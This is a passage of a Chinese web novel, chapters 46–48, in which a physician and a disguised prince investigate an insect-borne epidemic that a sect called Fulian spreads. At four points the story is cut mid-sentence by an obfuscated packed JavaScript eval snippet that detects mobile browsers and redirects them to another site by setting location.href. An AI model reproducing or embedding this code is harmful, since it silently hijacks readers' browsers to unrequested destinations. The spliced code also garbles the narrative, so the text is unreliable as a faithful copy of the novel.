付昂将那琉璃瓶端详片刻,问:“江娘子,依你所见,此虫可是令得人们肌肉萎缩、手足无力的原因?” 世间虫类以千万计,其中不乏有剧毒者能在蜇刺后致病致死,但仅凭当下这点信息就得出结论,怕是还太早了些。 于是她只能模糊答道:“昆虫毒豸往往携着病气,若入侵体内,确有致病可能。只是当前所得凭据尚少,恐怕还不足以如此推定。” “是本官心急武断,让江娘子见笑了。”付昂有些不好意思地提了下唇角,又道:“不瞒你说,方才廖庆从那死去的贼人身上偷摸拿出的物件……正是装着此虫的瓷瓶。本官觉着,许是因为此虫乃致病之源,他们担心牛仵作在验尸过程中识破病原,令幕后操刀之人无法再借着所谓疫病的由头大做文章,所以才会差使那贼人特意来此将其取走。” 这话乍一听有理,可细想又不大对。 江楚禾径直发问:“若恰如巡按所言,倒也说得通。可他们为何要将此虫带走,而不是将其就地毁掉?左不过一盆炭火就能将罪证烧得干干净净,又何必特意带在身上呢?而且一人失手便罢,居然还另派廖捕头过来偷摸拿走,是否有些太过麻烦?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955279|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说到此处,江楚禾突然想起曾看到过“蛊物不可随意丢弃,否则恐会反噬自身”的说法。 莫非这玩意还真是蛊虫? 但本朝避谈“巫蛊”已久,民间医典对此也是讳莫如深,她那点儿与蛊物相关的见识都是自师兄帮忙抄录的古籍残卷中习得,实在不足以支撑她做出判断。 是以,在反问几句之后,江楚禾又迅速掐断话头。 她不说话,付昂却要追问:“据江娘子所见,此虫可是致病元凶?” 关于这件事,江楚禾也拿不准主意:“如今只在一名死者体内发现此物,未必真与患病相关,除非有证据表明病亡者体内皆有此虫。” 最起码,是曾经有。 她如此想着,就见桑恬面色肃然地向几人走来。 方才她已带人去隔壁殓房将病亡者的尸身都翻过一遍,竟发现义庄内存放的尸体全部都有被人刺皮取虫的痕迹。 而当她将瓷瓶中的昆虫挨个计数,又与尸身数量比对之后,所得答案更是令人胆寒。 眼下起码有十余只恐会带来疫病的昆虫正不知所踪。 “如此看来,还是得速速将那出手灭口的歹人捉拿归案才是。” 正说着,门外传来一阵急促的脚步声,是追击歹人的护卫回来了。 可惜他们并无收获,那名放暗箭灭口的黑衣人还有同伙接应,眼下已乘船顺着染月河离开,此河分三股自城中穿过,期间交汇不断,贼人要在何处靠岸都有可能。 付昂捏着眉心,看向验尸台上的那名面容扭曲的黑衣人。 “可惜此人面容已毁,难以辨别身份,如今追踪亦不可行,看来只能先全力救治患病百姓,待明早请陶刺史下令,严查出城人员,再看是否能有机会拿下贼人。” 司徒靖微一颔首。 此情此景原是有些引人起疑,毕竟他现下的身份只是归元堂的“伙计”,即便是在江楚禾这般知晓他“晏公子”身份的人眼中,付昂贵为巡按,也不该向他求得认可,但她此时正专心致志地盯着那位满脸烧伤旧痕的无名死者,直到付昂轻声唤她,才勉强回神。 “江娘子,眼下城中患病者甚众,为免百姓无辜枉死,恐怕还要劳烦你前往救治,不知可否?” “付巡按客气了,民女若有治愈之法,自当全力以赴,只是眼下尚不能确定此病当真是那怪虫所致,亦不知取虫是否便能病愈,不如这样……稍后民女会前往相熟病患家中尝试取虫之法,若有成效便尽快为其他百姓医治。不过……” “此番既是官府出面请江娘子帮忙,那在这期间所需费用和医馆误工的损失自然是由州府衙门承担。若有什么别的需要,也请尽管提出来,本官定当竭力满足。” “旁的都还好说,只是甘茅并非寻常药品,恐怕得先将这些取走急用,若是此法可行,还得劳烦付巡按多备一些。” 付昂欣然应允。 很快几人就达成一致,待江楚禾天明之后验证猜想,再做下一步打算。 不过她在回到归元堂后,却是第一时间就将自己关进屋里,直到司徒靖端着早点来敲门时,刚好完成一幅人像。 46. 默契 酥饼已被切成恰能入口的大小,正整整齐齐地摞在碟子里,旁边还放着一盅枣汤,一看就是他特意准备的。 江楚禾边吃边看着面前的人。 两人不是头一回同桌用膳,只不过之前她一门心思扒饭,还从没留意过此人的吃相,今日心不在焉,反而注意到更多细节,这才突然意识到,无论灶前掌勺还是食粥吃饼,他的姿态都优雅至极,像是根本不会沾染到烟火之气。 这份与生俱来的清冷矜贵不像道人,也不像兵士,倒像是…… 江楚禾总觉得他的气质有些似曾相识,可一时又回想不出这种熟悉感是来自何处。 “怎么?”司徒靖被她盯得有些不自在。 “没什么,就是觉得晏公子用膳时又规矩又文雅。”想起鹤鸣观那位相当不修边幅的小道士怀恩,江楚禾又忍不住添了句:“同我往常见到的那些修行之人不太一样。” “千人千面,万人万相。” “这话倒是没错。”江楚禾顺着话头继续,“世人皆是独一无二,故而种种特征便如印戳般烙于身上,在旁人识破自己身份时,作为无从辩驳的铁证。” “……” 预感到她即将开启的话题,司徒靖默默放下手中的筷子。 果然,江楚禾下一句便问:“你与付巡按早就相识,且他已认出我是何人,对吧。” 这是一个陈述句。 但司徒靖暂不清楚她究竟知晓多少,便只好回避直接的答复,反问她道:“怎么说?” “昨夜付巡按将你单独叫去问话时,我本还有些担心,但见你二人密谈而归,言行之中倒是更添几分默契,便怀疑你们并非初见,加之后来他又请我协助治疫,我想……当是你已与他达成某种约定,好借此名正言顺地插手疫案的调查。” “为何认定我想参与调查?” 江楚禾作此判断自有她的依据,但现在还没到能宣之于口的时候,于是她一抬柳眉,拒不配合:“你就说是不是吧!” 这话说得不算客气,但奇怪的是,她在自己面前越是放肆,司徒靖就越是暗喜。 他眼含笑意,“猜得不错,继续。” “你一贯谨慎,如果付巡按不知我是何人,那你归家后必然会立即与我统一口径,以防我露出马脚,但你一句都没有提。所以我猜……在付巡按那里,你我的身份皆是明牌,并且……你很信任他。” 信任到愿意与他一同调查疫案,信任到不怕他会暴露两人行踪。 想到这里,江楚禾又道:“你并非天真之辈,若无私交,断不会无缘无故生出这般信任。所以我很好奇,你们究竟是什么关系?” “昔日同窗。” “国子监?” 江楚禾立即露出几分不敢置信的神色,毕竟她曾向兄长打问“晏安”其人,二者皆称没听说过。 而且他不是道士么? 正想着,她又听到清清冷冷的一声:“是‘弘文堂’。” 这下江楚禾明白了。 近二十年前,建兴帝曾设弘文堂作为齐、燕二王的启蒙学堂,并遴选数名高门子弟充当伴读,他与两位王爷年岁相仿,看上去同付昂也差不多大,如此倒是说得通。可惜那时她的两位兄长皆在青囊山庄,并未入宫参选,因而她也无从知晓皇子侍读都是何人,只得姑且顺着他的话继续下去。 “同砚之谊固然可贵,但人之趋利乃是天性,若此案的幕后黑手出自朝堂,正是付氏的靠山,你就不怕他徇私吗?” “你在暗示……此案同燕王有关?”司徒靖搭在膝头的十指突然收紧。 这个猜想与他不谋而合。 但他是基于暗害太子的福莲教和那位神秘的绿眸巫女才得出如此结论,江楚禾应当不知这些细节,又怎会做出如此判断? “我……就是随口一猜!”江楚禾避开视线,敷衍道:“这不是跟你学的嘛!凡事都要把最坏的可能早早考虑到位,免得出了岔子,被打个措手不及。” 司徒靖听到这话,心下莫名畅快。 他不再纠结,只道:“你当知晓,付子攸与他兄长并非同路之人。” 有关付家兄弟离心的传言,江楚禾的确曾有耳闻,据说是与其父晚年的风.流.债有关。 付苒于先帝时期即位列三公,比江楚禾的祖父还要年长十余岁,是江钺见着也要唤一声“先生”的人物。 此人年方及冠就因两姓联姻迎娶兴京王氏贵女为妻,两人鹣鲽情深,一时被引为佳话,甚至有传言称他们还曾定下“不生异腹子”的约定,也许正是因为如此,除付昂之外,付苒膝下的其余子女皆是正室王夫人所出,即便在王氏故去后数十年里他曾纳入两房妾室,付府之中依然不曾有庶子诞生。 直到他遇见付昂的母亲,曾因琴艺卓绝而名冠兴京的清倌人,秦素娥。 彼时付苒已年近六旬,就连他最小的女儿都已嫁为人妻,可这老爷子却不知突然中了什么邪,在宴席间见过秦素娥后便对其念念不忘,甚至不顾士大夫的颜面多次以词曲相和、公然示爱。 时人皆以为付公只是偶然起意,想在暮年之时再过把瘾,没承想在不久之后付苒竟动了要将秦素娥纳入家中的心思。 但是,按本朝律法,即便位列三公也要恪守人臣本分,内宅之中最多不过就是一妻两妾的配置,而秦素娥身在乐坊,便是销去贱籍也只能为妾,断不可娶作续弦,可若是要纳她为妾,就得将府中已有的两名姨娘挑选一位赶出家门,实又令人不忍。 为此,付苒只好亲自进宫,在圣上面前好一顿哭天抢地、寻死觅活。 那时建兴帝不过二十五、六岁的年纪,许是心肠尚软,在来回折腾几次后也就应下他这个有辱斯文的离谱想法,一纸朱批为他法外开恩,允准付苒再纳一房妾室的请求。 可惜好景不长,在次年付昂出生后不久,付苒便骤然离世。 那时付苒长子、新任家主付旻正离京公干,待快马加鞭回到府中,便听说秦素娥已用一尺白绫随付苒而去,只留下尚在襁褓之中的付昂呱呱而泣。 此事蹊跷,曾有不少传言流出,但那时正代为主持家事的付易却始终坚称是“柳姨娘心系先父,不肯独活”。 付氏毕竟高门,大理寺的官员也不好贸然行事,便只得草草结案,之后又严厉惩治过一批在城中谣传流言的饶舌之辈,总算在一月内就将此事抹得干干净净。 自此世人只知付六郎是庶出,却对其生母的生平底细一概不知,而有关付氏兄弟失和的传言,也再没流传到坊间之中,只是在少数几位朝中老臣的家里被当成反面案例来教育子弟。 江楚禾原没将这些流言放在心上,今日听他一说,看来付氏兄弟当真不是一心,这倒是个好消息。 她这才放心,将刚刚完成的那幅白描人像拿出来。 画中男子年约三十,方脸粗眉,三角眼,高鼻梁,面相颇为阴鸷。 司徒靖一眼便认出他是何人。 “这是……那贼人的本来面目?” 江楚禾点头,“想必你已察觉,那贼人是兴京口音,且掌中胼胝似常年习枪所致,而他脸上烧伤痕迹约莫是十年前留下的……” 大梁境内武器管控甚严,即便数十年前门派林立之时,江湖中人也多习刀剑,用枪者,几乎尽是兵士。 加之此人来自兴京,十年前曾被烧伤,这些关键词一一重叠,让人不免多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962938|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 司徒靖紧紧蹙起眉头。 “我曾听祖父说起,十年前宁王自焚而死,尸首难辨,而他的贴身影卫却趁乱逃出,不知所踪,于是便试着将那人当年的模样画出,你可将此画像传于兴京,或可有助于探得此人身份。至于付巡按那里……方才在义庄时,我不知他是敌是友,便不敢贸然将此法说与他听,眼下我只信你一人,是否要将这画像拿给他,全凭你自己的心意。” 饶是司徒靖早知她于书画一道是得泽甫先生的真传,也没想到她竟真能仅凭一张毁过容的脸,就画出此人年轻时的肖像来。 见他瞠目,江楚禾有些得意。 “人的五官往往是靠颅骨形状来制约,同时又受年龄、肥瘦和男女之别的影响,其中变数颇多。我也是凭着昨晚验尸时的观察和此前多年的经验绘制,不敢说同那贼人一模一样,但七八分相似还是没跑的。” 司徒靖难掩钦佩之色,他起身作揖,道:“多谢江九娘子。” 见他这般郑重,江楚禾不禁失笑:“你倒不必同我客气,此人面容被毁已有十年之久,我也不知还能不能借此找着清楚他底细的人,恐怕还得你差人多费心思。” 说罢,她拿起药箱,准备出门。 “稍后我先去钱媪那儿瞧瞧,若取虫之法确实可行,或可顺利了结此番人祸,也不枉咱这一宿的折腾。” 司徒靖颔首,正欲对她再加叮嘱,可话到嘴边却有些迟疑。 医者仁心,向来光明磊落,他若劝其遮掩,或许在她看来,会觉得不够坦荡。 见他似有迟疑,江楚禾了然一笑,“你放心,在医治时我会寻些由头屏退左右,在用麻药让患者沉入梦中后再为其取虫。至于针刺痕迹,可以‘放血疗法’的说法应付过去,必不会让百姓知晓毒虫之事,也免得引起恐慌。” 两人的默契再次得到印证。 司徒靖压下心中那股难以名状的情绪,趋步上前,道:“我陪你去。” “不必!”江楚禾断然拒绝,“瞧病这事儿你又不能代劳,陪我跑一趟也是白费工夫,倒不如将心思花在如何探得这黑衣人的身份上面。” “可此人的同伙仍不知下落……” “你就放心吧!昨夜付巡按差人追了半天,那伙贼人好不容易才跑脱,眼下若再生事端,岂非自找麻烦?” 此言不假,但他仍不放心。 “你或许不知,我曾亲眼看过李全的尸身,其肉痿之状与此番患病者确实相近,而王富已在狱中莫名丧命,可见此案背后另有阴谋,且与疫案相关。你曾蒙冤,眼下又在协助官府治疫,我怕歹人会暗中使坏,对你不利。” 他此言本意是劝江楚禾答允自己同行,不想她得知王富已死,第一反应却是关心旁人:“王富死了?那阿姎怎么样?” “阿姎同王富并不亲近,想来无事,而且……付巡按今日会差人去黄家请阿姎问话,想必不要多久,她便会在州府衙门了。” “也是……”想起上回见到阿姎,她并未因王富入狱而生出一丝阴霾,江楚禾略微宽心,她抓起药箱,急急走出几步,复又折返回来,正色道:“既然李全一案与这场疫病有关,那说明幕后之人准备多时,恐怕所谋甚大,你更要顾着大事,切莫因我分心。” 司徒靖只得颔首同意。 “你放心,我能保全自己,眼下当务之急,一是尽快寻得贼人下落,二是确认治愈方法, 我这就赶紧去钱媪家,待确认针刺取虫之法确有效果,还要去州府衙门向付巡按复命,届时没准还能碰见阿姎。” 江楚禾所料不错,不过几个时辰之后,她便在公廨顺利见到阿姎,但后者的状态却是让她大吃一惊。 47. 福莲(上) 州府公廨是由宁王当年的府邸改建而成,相比弋陵县衙要气派许多,占地也大过不止两倍,江楚禾跟在带路的小侍卫身后,低眉垂目地走了好一阵,才终于被带进府衙西侧一座幽深僻静的院落之中。 这里是陶晋专门为巡按御史准备的处所。 “江娘子先在此处候着,巡按大人刚回来不久,不定得空,我先去瞧瞧。” 昨夜一直忙到天明,付昂若在补眠也是情理之中,江楚禾这么想着,向对方福了福身,乖顺地等在门外。 谁料那侍卫才刚进屋知会一声,付昂就赶紧差人开门,将她请进屋内,看上去倒像是早就在等江楚禾似的。 她赶紧福身见礼,道:“问付巡按安,江某不请自来,多有打扰。” “这是哪里的话?江娘子可是本官请来帮忙的,若这般说,本官就无地自容了。”付昂笑着说罢,又正色言道:“江娘子来找本官……可是已经试过先前所说的治疗之法?效果如何?” 和聪明人说话就是畅快! 江楚禾累了一早上,也有意直奔主题、速战速决,付昂既如此发问,她自然不愿再兜圈子,不过三两句话就将自己如何以甘茅引出毒虫,而甜果在取虫之后的各项反应都向他描述一遍。 “自取虫后约一个时辰,患者便渐渐苏醒,此前类似痿痹的种种症状也都在逐步消退,只是病患卧床已久,恐怕要缓一两日才能行动自如,届时江某会再次上门,留意后续进展。” 付昂听后大舒一口气,抚掌道:“既如此,便要劳烦江娘子为城中患病百姓挨个医治,不知你可愿意?” “自然。只是……” “江娘子若有什么需要,但说无妨。只要能救百姓,本官定当竭力一试。” 得了这话,江楚禾不再顾虑,直言道:“如今其他药品倒还充裕,只是急需大量甘茅用以引虫,先前江某已向大人禀过,此物并不常见,还得劳烦巡按大人关照。” “好说,本官这就差人去办此事。江娘子昨夜熬了一宿,今日又忙活半天,怕是累得不轻,本官先差人将你送回医馆暂歇,待陶刺史派人将县中病患的情况摸排清楚,想来甘茅也当已到位,届时咱们按轻重缓急上门医治,江娘子以为如何?” “悉听大人安排。既如此,江某先行告退。” 江楚禾正要拔腿,门外突然传来一阵骚动。 “大人!大人!”一个熟悉的女声从院中传来,听上去有些惊慌。 “桑恬?”付昂脸上难得露出几分急色,正要夺门而出,便见桑恬气喘吁吁地行至眼前,肩头还扛着一人,背上的血迹洇开一片嫣红。 他赶忙下令:“快!先将人放下来!” 被放倒在软榻上的女子浑身是血,鞭痕布满衣衫,破破烂烂的布料下,隐约可以看到皮肉卷曲的伤口已有些化脓,她双眼紧紧闭着,脸颊烧得通红,嘴唇干裂起皮,却仍在无意识地呢喃着什么。 “阿姎?” 江楚禾冲向榻边,三指探向对方腕脉。 可就在她的指尖即将触及皮肤的瞬间,阿姎突然睁开眼睛,血丝满布的双目里尽是惊恐之色。 “奴婢知罪!饶命啊!奴婢再也不敢了!”她高声尖叫着甩开江楚禾的手,四肢胡乱舞动,让人难以靠近,口中仍是一刻不停:“高人饶命!圣母娘娘饶命!” 阿姎胡乱扭动着,背后的伤口在她的挣扎下已彻底崩裂,将榻上的垫布染成一片血红。 “这样不行!”江楚禾手持长针,眉头紧蹙,看向身旁的蓝衣女子,“桑……” 后面的两个字还未说出口,她突然想起付昂身边一众亲随都唤此人为“桑侍卫”,从无一人以“姑娘”、“娘子”等称呼,舌头磕绊一下,迅速改口道:“桑侍卫,烦请按住她的肩膀,越稳当越好!” 桑恬略微一顿,但很快就点点头,手下更添几分力气。 “阿姎!阿姎?”江楚禾放柔声线,“记得我吗?我是归元堂的江阿九,你现在很安全,不要害怕……” 阿姎怔愣着,眼神涣散地看向她。 趁着这个当口,一道银光闪过,江楚禾指尖的银针精准刺入她的人中,紧接着合谷、内关各进一针。 阿姎猛地哆嗦,尖叫声在喉咙中卡住一瞬,很快又收了音,眼中的疯癫也逐渐褪去,她茫然地眨眨眼,看着面前的人。 “江娘子?” “嗯,是我,江阿九。”江楚禾语气柔软:“阿姎别怕,这里没有坏人,我要先给你看看伤,好吗?” 阿姎乖顺地点点头。 见她如此,江楚禾头也不回,径直下令:“阿福,去烧热水,拿身干净衣裳,然后守住门,任何人不得进入。” 宋福应声疾退。 屋门闭合,她又看向始终撇过脸看向别处的付昂,“付巡按,阿姎伤在背臀,需要解衣处理,还请您暂避。” 付昂颔首,“桑侍卫,你留下,全力协助。” 语毕,他快步走向里间,但却在停顿片刻之后才撩起帘幔,推开那扇紧闭的木门。 门后一室静谧,司徒靖正端坐在窗边的小榻上,见他进来,原本投向门外的视线迅速挪到付昂的脸上。 没有任何言语,只一眼就传达出清晰的指令。 他不打算让江楚禾知晓自己身在此处。 付昂会意,在阖门之后便静默地站到一旁,与角落里的南樟并排而立。 此间一时落针可闻。 司徒靖双眸微阖,将注意力尽数灌注在听觉之上。 很快,外间便传来衣料撕裂的脆响,然后是如小兽遇袭时的压抑呜咽,和控制不住的抽泣声。 “阿姎,伤口有些化脓,需要赶紧处理,可能会疼,你忍着点……” 话音方落,突然一阵哭嚎,紧接着是瓷瓶被打翻的声音。 “嬷嬷饶命!奴婢……奴婢不是有意的!奴婢只是担心娘子!那巫女……跳神的巫女!她的眼睛是绿色的!好可怕!好可怕……” 听到这里,司徒靖放在膝头的十指猛然收紧。 门外的声音仍在继续。 “阿姎,别怕。我是归元堂的江阿九,我是来给你治伤的……” “不!不能治……不能治……要找圣使……圣使才能救我……圣使……福泽万民,莲心渡厄……福泽万民,莲心渡厄……” 阿姎几近疯癫地呼嚎着。 司徒靖眉心紧蹙,两眼定定盯着门板,仿佛要望穿那层屏障。 但他看不见她。 陌生的失控感令司徒靖心中焦灼,直到一阵混乱的摔打声后,江楚禾的嗓音再度传来:“不行!阿姎太过躁动,不能行针!桑侍卫!可否制住她?得快些让她服下这定神酊,先镇定下来才可治疗!” “我来!” 听到桑恬的声音,付昂下意识将指尖掐进掌心,直到外间慢慢安静下来,只剩下泠泠水声和窸窸窣窣的微弱响动。 未几,有脚步接近。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968405|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是江楚禾。 “付巡按,阿姎的外伤已处理完毕,热毒暂退,正在安睡。江某不便久留内衙,若大人方便,还请移步外间叙话。” 付昂松了口气,应声过后又转头望向司徒靖,后者放下手中纸笔,轻叩案面,示意对方来看。 纸笺不过寥寥数语,简明扼要地对几件事情做出交代,付昂阅毕,略显吃惊,但他很快就敛起神色,推门离开。 江楚禾并未守在门口,而是侧身站在隔绝内外的那扇屏风边上,见他走到此处,才上前继续报告。 “方才清创时,阿姎因剧痛引发惊惧,以致神智混乱,狂躁难抑,口中谵语不断。江某欲施针定神,皆因其挣扎过甚而未能成行,为防其在意识不清之际自伤,江某不得已才用凝神镇定之药令其暂入安眠,约莫两个时辰后,自当恢复清醒。此举非是阻挠办案,实为疗愈之必须,还望巡按大人莫怪。” “今日种种,多亏江娘子出手相助,本官岂会怪罪?有劳江娘子了!” 付昂诚恳地谢过江楚禾,然后又看向阿姎。 方才两人已为她换上干净衣裳,但从剥下的血衣和小榻上残留的血迹来看,其伤势的惨烈程度可见一斑。 “这到底是怎么回事?为何会伤成这样?” “属下刚到黄家时,此女就已奄奄一息。据黄家掌事的嬷嬷说,她是因犯家规,故而遭到重罚。” 桑恬语气平静,毫无赘述与渲染,但此言所透露出的细节却令付昂义愤填膺。 “犯什么家规竟能由着他们将人往死里打?” 桑恬摇头,面色冷肃,“那嬷嬷不肯说,只道都是家事,不敢劳烦大人挂心。” “好啊,这黄四爷还当真是了不得。”付昂的声线中明显压着怒火,“本朝律例煌煌,明禁私刑,纵有罪奴,亦需送官公断。此辈视王法为何物?视人命为何物?” 江楚禾早就听说此人仁厚正直、满心赤诚,如此一看,倒是当真不假。 怪不得那人信得过他。 正如此想着,付昂便说出一番令她更加意外的话。 “桑侍卫,你即刻动身,以本官名义前往黄家,依律追究其滥用私刑之罪,并勒令交还此人身契,从此阿姎脱籍,由官府接管,暂时安置于后衙,一切用度由官中负责。” 江楚禾心下震动。 其实早在她得知阿姎是为防王母逼嫁才自卖自身后,便想过要赎回那份身契,只是顾忌到赎身后不便将其留在归元堂,但又寻不到更好的去处,这才迟迟没能行动。 如今付昂此举,倒是给了阿姎一份她想给,却没能给成的自由。 “大人高义,江某代阿姎……谢过大人。”江楚禾敛衽一礼,极尽郑重,“此法不仅全其性命,更予人新生,实乃仁政。” 闻言,付昂面露愧色。 他摆摆手,道:“江娘子言重了。本官所为,不过是依律行事,尽分内之责。两年前宁州大疫,阁下不顾自身安危,深入疫区、活人无数,乃是真正的‘义’字当先。” “大人过奖。”江楚禾福身行礼,再抬眼时,眸下青印清晰可见。 “江娘子劳心许久,太过辛苦,本官先派车送你回去暂歇,待明日物资就位,还得劳烦你上门为百姓诊治。” 眼下手头没有甘茅,确实急不得一时,万幸府衙已将患病者的情况摸排一遍,城中百姓应暂无性命之忧。 江楚禾颔首应下,很快便带着宋福一起离开。 48. 福莲(下) 里间的门被轻轻推开。 司徒靖并未看向门口,而是透过和合窗上支起的那道缝隙,目不转睛地盯着窗外,直到熟悉的缥色身影消失在回廊的尽头。 他收回视线,看向来人。 “殿下。”付昂递上手中之物,“据江九娘子的医案所言,阿姎神元受损,惊惧难抑,三日内恐无法清晰陈述,若强行问询,或致其癫狂厥逆。” 司徒靖的目光迅速扫过那一行行熟悉的字迹,淡淡应道:“无妨。” 他原本的计划是通过阿姎来探得王富所在组织,以及与其关联之人的身份,但方才她谵语所言,却给出了更有价值的信息。 司徒靖放下手中医案,食指轻敲桌面。 “阿姎先留在此处,待她恢复再行打算,眼下先看看廖庆能供出什么。”说罢,他微微侧头,看向旁边。 南樟从阴影处走出,唇角始终勾着一抹笑意。 付昂躬身行礼,道:“有劳青獒大人。” “青獒”是南樟作为齐王影卫时所用的代号,在信字营中人尽皆知,又因亲王影卫应当享有的五品待遇而在被提及时往往还要加上“大人”二字以示尊重,所以付昂一口一个“青獒大人”倒也合情合理。 但是…… 司徒靖压低声线,“此间只有晏安,并无齐王,又何来青獒大人?” 付昂闻言一顿。 正在此时,耳边传来一阵清朗男声:“在下孝字营卫军校尉,南樟。奉命前来,协助刑讯!” 付昂立即会意,拱手道:“有劳南校尉,那廖庆油盐不进,劳烦阁下多费心思。” 南樟嬉笑着拍了拍自己肩头的背囊,自信满满地回道:“咱手上过的,那可都是自诩铁骨铮铮的硬汉,临了又有哪个没败在我这些宝贝手里?你就瞧儿好吧!” 那时他还没料到,自己这番话竟有些托大,原以为不过一日就能撬开的嘴,居然愣是耗费了三、四天的工夫。 这几天里,付昂一直忙于调查患病百姓的行动轨迹,故而在南樟风风火火冲进屋时,只有齐王殿下一人静坐于里间之中。 “殿下,廖庆那畜生可算是撂了!” 司徒靖见他大喘着粗气,顺手给对方添了杯茶,命令道:“捡要紧处说。” 南樟不免觉得这要求当真有些为难人,毕竟今日从廖庆口中掏出来的,那可句句都是要事。 他扁扁嘴,将茶水一饮而尽,放下杯子便一口气道:“先前殿下您说那李全之死的背后恐怕另有缘由,属下还觉得您有些多虑了。好家伙!今儿听廖庆说了之后我才知道,那哥们儿死得居然还真挺冤枉!哦不是,您别误会,我不是说他不该死,丫的确不是个东西,当街欺负人小姑娘算个什么玩意儿……” “重点。” 白皙修长的两指轻点案面,南樟即刻会意,赶紧拐过话头。 “哦……哦,据廖庆所说,李全的确是在得知阿姎与王富的关系后才找上门的,但他却是因为赶巧撞破王富接应歹人,这才被灭的口!别说这王富点儿也真是够背!原本他还在李全的尸首上拴了些石块,想将他沉下江中,谁知不巧江边儿刚好走失一孩子,那娃的娘亲花钱雇人在江里捞了好一阵,这不就把李全给捞起来了!说起来,那孩子到现在还没找到呢……” 眼看这话痨不知又要胡扯到哪里去,司徒靖赶紧打断他:“你方才说王富接应歹人,可是福莲教的圣使?” “没错!”南樟一拍大腿,“王富当晚所接应之人,正是携蛊虫来到弋陵的福莲教‘金莲圣使’,而李全尸身之上那些同疫病相似的症状也是因为偷偷摸进王富的船里,不慎被蛊虫咬中之后才有的。” “蛊虫?”司徒靖眉心紧蹙。 据他所知,传说中的南境蛊术是上古时期曾在宁州地区出现的一门异术,使用毒虫与特定药物炮制成“蛊”,施加于人身之上可以起到治疗、伤害或控制等目的。 早在千年前,世间尚无“宁州”之时,此地乃是黎国所在,其统治者正是号称掌握巫蛊秘术的南帝黎炽。 南北帝之争时期,此人在与北帝亓官钧争夺天下共主的名号失败后,便遁逃至瘴雾弥漫的南境岛屿“碧璆岛”,以异术征服土著岛民,奉“福莲圣母”为至高神,自称是圣母在人间的化身“福莲圣女”,此后千百年来均择族内的蛊术集大成者继承此位,同时被传递下去的还有统治“碧璆岛”的最高权力。 直到二十五年前,岛内土著首领索帕横刀夺权,将“圣女”诛杀,与之相关的巫蛊之术亦销声匿迹。即便是在前年大梁举兵压境,将碧璆岛收入囊中之后,也未能在岛内寻到与秘术相关的只字片语。 这群歹人又是在何处寻得的制蛊之法? 而他们高举“福莲教”的名号,又尊奉“福莲圣母”为神,莫非当真是同碧璆岛有什么渊源? 他正如此思忖,南樟便紧接着给出了答案:“据廖庆说,福莲教是奉福莲圣母正朔,由死而复生的碧璆岛圣女亲任教首。” “死而复生?” “说是这么说……毕竟当年若非索帕宣称这个所谓‘圣女’已然伏诛,恐怕岛内百姓仍深信她是什么‘福莲圣母’再世,哪儿能那么快就顺服新主。”南樟轻哼一声,说出自己的猜测:“依属下看啊,要么是当年此女设法苟全性命,多年来一直在暗中筹谋,伺机卷土重来;要么就是有人在借那‘圣女’的名头,想趁机搞些乱子!” “嗯。” 此番言论与他心中的猜测可谓是不谋而合,司徒靖当即点头认可。 见自家殿下似是露出几分赞许神色,南樟忙趁热打铁地总结道:“他们先差人将蛊物带进弋陵,再设法散播致使百姓患病,而后又派出圣使假作慈悲,借此收买人心。属下觉着……恐怕所谋甚大!” 既是邪教,无非就这些把戏,司徒靖毫不意外,反倒那“金莲圣使”四个字,令他有些心忧。 “廖庆可有供出那‘金莲圣使’的具体名姓,以及有何体貌特征?” “那倒是没有……”南樟挠挠脑袋,“廖庆说这个‘金莲圣使’是福莲教中仅次于‘圣女’的二号人物,一般人根本见不得,他只听说过那人掌心刺着一枚绿荷,旁的一概不知。” 绿荷…… 司徒靖看着手中的卷轴。 昨日阿姎稍有好转,江楚禾便根据她的描述绘出这幅画像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975494|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正是绿眸巫女手心的绿荷。 他沉默片刻,又问:“那廖庆可知晓此人在何处落脚?” 